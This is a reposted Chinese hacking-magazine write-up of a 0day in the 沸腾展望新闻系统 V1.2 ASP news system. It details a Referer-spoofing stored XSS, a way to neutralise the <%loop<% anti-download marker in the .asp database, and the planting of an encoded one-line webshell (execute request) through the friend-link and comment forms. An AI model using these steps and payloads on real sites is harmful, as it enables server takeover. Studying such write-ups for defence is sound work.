让loop防下载形同虚设

2023-10-11 00:10
文章标签 下载 loop 形同虚设

本文主要是介绍让loop防下载形同虚设,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

让LOOP防下载形同虚设直接拿Shell
来源:网络         审核:admin         发布时间:2012-12-01
http://aq.3aj.cn/article/3/12890.html

题目:让LOOP防下载形同虚设直接拿shell--分析沸腾新闻多媒体展望系统V1.2 0Day
作者:莫ㄨ问[B.H.S.T]& 李宓 [L4nk0r]
来源:L4nk0r'S Blog
此文章已发表在《黑客手册》2009年第9期杂志上,后经作者发布在博客上,如转载请务必保留此信息

L4nk0r:为方便大家阅读,最后提供文件打包下载
事情缘由:
暑假一个人在家看书,在浏览一个网站的时候总感觉这个网站的整体页面很像一套系统.于是就查了真是沸腾展望新闻系统.记得早起这个系统存在很多漏洞.这不马上到其官方网站下载了最新版本V1.2 Build1版.此版本相对之前的版本安全性已经提高了很多,但是在阅读代码过程中还是发现了一些不足来特来和大家分享,下面对漏洞的形成做下分析,漏洞本身没什么,注意思路.

一.注册页面跨站甚至插马
注册跨站甚至写入木马,漏洞文件adduser1.asp和saveuser.asp
在adduser1.asp用户注册通过简单的javascript来判断username表单是否含有非法字符(在savauser.asp中同样过滤了,所以username字段没办法利用).程序员太过于相信Javascript了.导致用户可以输入恶意代码提交到数据库,代码如下(savauser.asp文件,这里略去部分无关代码)

sex=request.form("sex") // 这里没有任何过滤,可以通过本地提交表达
birthyear=request.form("birthyear") //同上
birthmonth=request.form("birthmonth") // 同上
birthday=request.form("birthday")
depid=ChkRequest(request.form("depid"),1) '防注入,这里用ChkRequest()来防注入,跟进
photo=request.form("photo")

很明显上面这些参数中除了一个depid过滤了其他都直接获取了并且后面直接更新到数据库了.我们知道Javascirpt可以本地提交绕过,所以跨站也就没有问题了.但是在测试时候发现不行,好在仔细查看包含的文件,我明白程序员为什么这么”自信”了.看到ChkURL.asp,代码如下:

server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
-------------------------------后面一堆提示---------------------------------------

利用REFERER禁止本地提交.还是老思路,构造Referer即可.这里我通过WinSock Expert抓包然后NC来修改数据提交就可以了.这里不做讲解,当然这个漏洞配合后面的使用也是可以的.
二.致命伤-<%loop<%形同虚设直接拿shell
1.成因分析
   直接打开数据库/data/news3000.asp数据库默认是asp格式的(相信没有站长会把它改成mdb的).这个是后面利用的前提.我们本地改成mdb的打开,发现里面有一张表,如图1:

NotDownload表,其内容显示为:”长二进制数据”,就是这个表导致我们访问数据库的时候出现如图2提示:

的原因Loop是asp中的循环语句,其实在数据库中那一串长二进制数据就是<%loop<%的十六进制形式3C25206C6F6F70203C25.我们可以通过UltraEdit十六进制形式打开它,然后搜索<%就会发现如图3:

知道asp语法的人看到这里应该都明白为什么会有如图2提示了把.所以当你插入一句话的时候就会脚本无法闭合的问题.另外<%loop<% 这种是无法闭合的.下面是关键思路:既然无法闭合,我们是否能够注释掉?想到这里,我们就会想到单引号,没错就是它-ASP的注释符,但是前提是,要能够在他之前插入一个<%’;x (即,

<%&amp;amp;#39;x
这里的x可以是其他字符,是为后面字符转换成unicode编码用的.) 另外,还要在<%loop<%后面插入一个%>x(这里X也是同理)才能让其和前面插入的闭合.这样就可以注释掉<%loop<%这个不可能闭合的问题了.我们整理一下思路:就是在

<%loop<%
前后的合适位置插入一段可以闭合的代码,并且将在这2个闭合符号中间的内容注释掉就即可.思路有了..就可以操作了.另外说明下,当你用UltraEdit十六进制形式打开数据库时搜索<%如果不是<%loop中的那个,就证明这里可以插入前置闭合符,同理,后置闭合符也可以这样判断.思路清晰了,我们来看看实例操作.
二.实例演示-沸腾展望新闻系统V1.2 0day
打开/data/news3000.asp数据库发现,普通用户可以添加的数据表有:

引用
1. attach表     --文件上传方式
2. FT_User表    --通过注册(配合漏洞1的注册跨站使用)
3. Link表       --友情链接申请
4. News表       --发布新闻
5. Review表     --评论新闻
6. UploadPic表 --上传图片

通过穷举法,多次测试发现,前置闭合符可以在Link表中插入,而后置闭合符可以在Review表中插入,其他表有兴趣的可以自行测试下.默认情况下,系统的友情链接和回复(游客都可以)是开启的.对于友情链接关闭申请就只能通过其他表了,这里只是举个例子,可以按思路举一反三.ok,不废话直接按如图4填写(这里也是Javascript判断后直接插入数据库)

网站名称”

┼攠數畣整爠煥敵瑳∨∣┩愾┼砧

是经过lake2编写的a2u4hack.exe工具转换成Unicode编码,它原型是:

&amp;lt;% execute request(&amp;quot;#&amp;quot;)%&amp;gt;a&amp;lt;%&amp;#039;x
,如图5:

这里要注意的是在转换过程中不能出现?,这就是我刚才为什么加一个x的原因了.然后直接提交,不管管理员是否审核不影响.再次UltraEdit十六进制形式打开搜索<%发现如图6:

发现第一搜索到的是如图6,也就是说已经成功的插入前置闭合符.现在插入随便首页点一个文章,点击下面的”相关评论”选择游客,然后在内容那输入如图7:
 

内容为: “┠ 砾 “同理也是经过a2u4hack.exe工具编码的,它的原型是: %>x 这样以后提交就可以提交到数据库并且完美的注释掉

<%loop<%.

所有的工作完成后我们看下结果.如图8:

成功插入一句话木马,也成功链接了直接拿到WebShell.另外.当然程序还存在一些不足,有兴趣的朋友可以自己挖掘.对于这个思路,当如果你并不能如此的完美的插入木马,我们是否也想过通过此方法来过滤掉一些上传后缀限制的数据然后通过上传来拿webshell呢?好了,思路就这样,大家灵活应用.官方演示网站关闭了友情链接我们就不做测试了,必竟只是提供大家一种思路而已.
     本次的分析到此结束了, 对于此漏洞危害较大,请勿做非法行为.有任何问题可以到黑手论坛与我讨论或者E-mail:awolf858@gmail.com.

这篇关于让loop防下载形同虚设的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/184107

相关文章

Python多线程实现大文件快速下载的代码实现

《Python多线程实现大文件快速下载的代码实现》在互联网时代,文件下载是日常操作之一,尤其是大文件,然而,网络条件不稳定或带宽有限时,下载速度会变得很慢,本文将介绍如何使用Python实现多线程下载... 目录引言一、多线程下载原理二、python实现多线程下载代码说明:三、实战案例四、注意事项五、总结引

SQL server数据库如何下载和安装

《SQLserver数据库如何下载和安装》本文指导如何下载安装SQLServer2022评估版及SSMS工具,涵盖安装配置、连接字符串设置、C#连接数据库方法和安全注意事项,如混合验证、参数化查... 目录第一步:打开官网下载对应文件第二步:程序安装配置第三部:安装工具SQL Server Manageme

使用Python实现可恢复式多线程下载器

《使用Python实现可恢复式多线程下载器》在数字时代,大文件下载已成为日常操作,本文将手把手教你用Python打造专业级下载器,实现断点续传,多线程加速,速度限制等功能,感兴趣的小伙伴可以了解下... 目录一、智能续传:从崩溃边缘抢救进度二、多线程加速:榨干网络带宽三、速度控制:做网络的好邻居四、终端交互

基于 HTML5 Canvas 实现图片旋转与下载功能(完整代码展示)

《基于HTML5Canvas实现图片旋转与下载功能(完整代码展示)》本文将深入剖析一段基于HTML5Canvas的代码,该代码实现了图片的旋转(90度和180度)以及旋转后图片的下载... 目录一、引言二、html 结构分析三、css 样式分析四、JavaScript 功能实现一、引言在 Web 开发中,

springboot下载接口限速功能实现

《springboot下载接口限速功能实现》通过Redis统计并发数动态调整每个用户带宽,核心逻辑为每秒读取并发送限定数据量,防止单用户占用过多资源,确保整体下载均衡且高效,本文给大家介绍spring... 目录 一、整体目标 二、涉及的主要类/方法✅ 三、核心流程图解(简化) 四、关键代码详解1️⃣ 设置

Python pip下载包及所有依赖到指定文件夹的步骤说明

《Pythonpip下载包及所有依赖到指定文件夹的步骤说明》为了方便开发和部署,我们常常需要将Python项目所依赖的第三方包导出到本地文件夹中,:本文主要介绍Pythonpip下载包及所有依... 目录步骤说明命令格式示例参数说明离线安装方法注意事项总结要使用pip下载包及其所有依赖到指定文件夹,请按照以

python如何下载网络文件到本地指定文件夹

《python如何下载网络文件到本地指定文件夹》这篇文章主要为大家详细介绍了python如何实现下载网络文件到本地指定文件夹,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下...  在python中下载文件到本地指定文件夹可以通过以下步骤实现,使用requests库处理HTTP请求,并结合o

前端下载文件时如何后端返回的文件流一些常见方法

《前端下载文件时如何后端返回的文件流一些常见方法》:本文主要介绍前端下载文件时如何后端返回的文件流一些常见方法,包括使用Blob和URL.createObjectURL创建下载链接,以及处理带有C... 目录1. 使用 Blob 和 URL.createObjectURL 创建下载链接例子:使用 Blob

Java实现文件图片的预览和下载功能

《Java实现文件图片的预览和下载功能》这篇文章主要为大家详细介绍了如何使用Java实现文件图片的预览和下载功能,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... Java实现文件(图片)的预览和下载 @ApiOperation("访问文件") @GetMapping("

Python下载Pandas包的步骤

《Python下载Pandas包的步骤》:本文主要介绍Python下载Pandas包的步骤,在python中安装pandas库,我采取的方法是用PIP的方法在Python目标位置进行安装,本文给大... 目录安装步骤1、首先找到我们安装python的目录2、使用命令行到Python安装目录下3、我们回到Py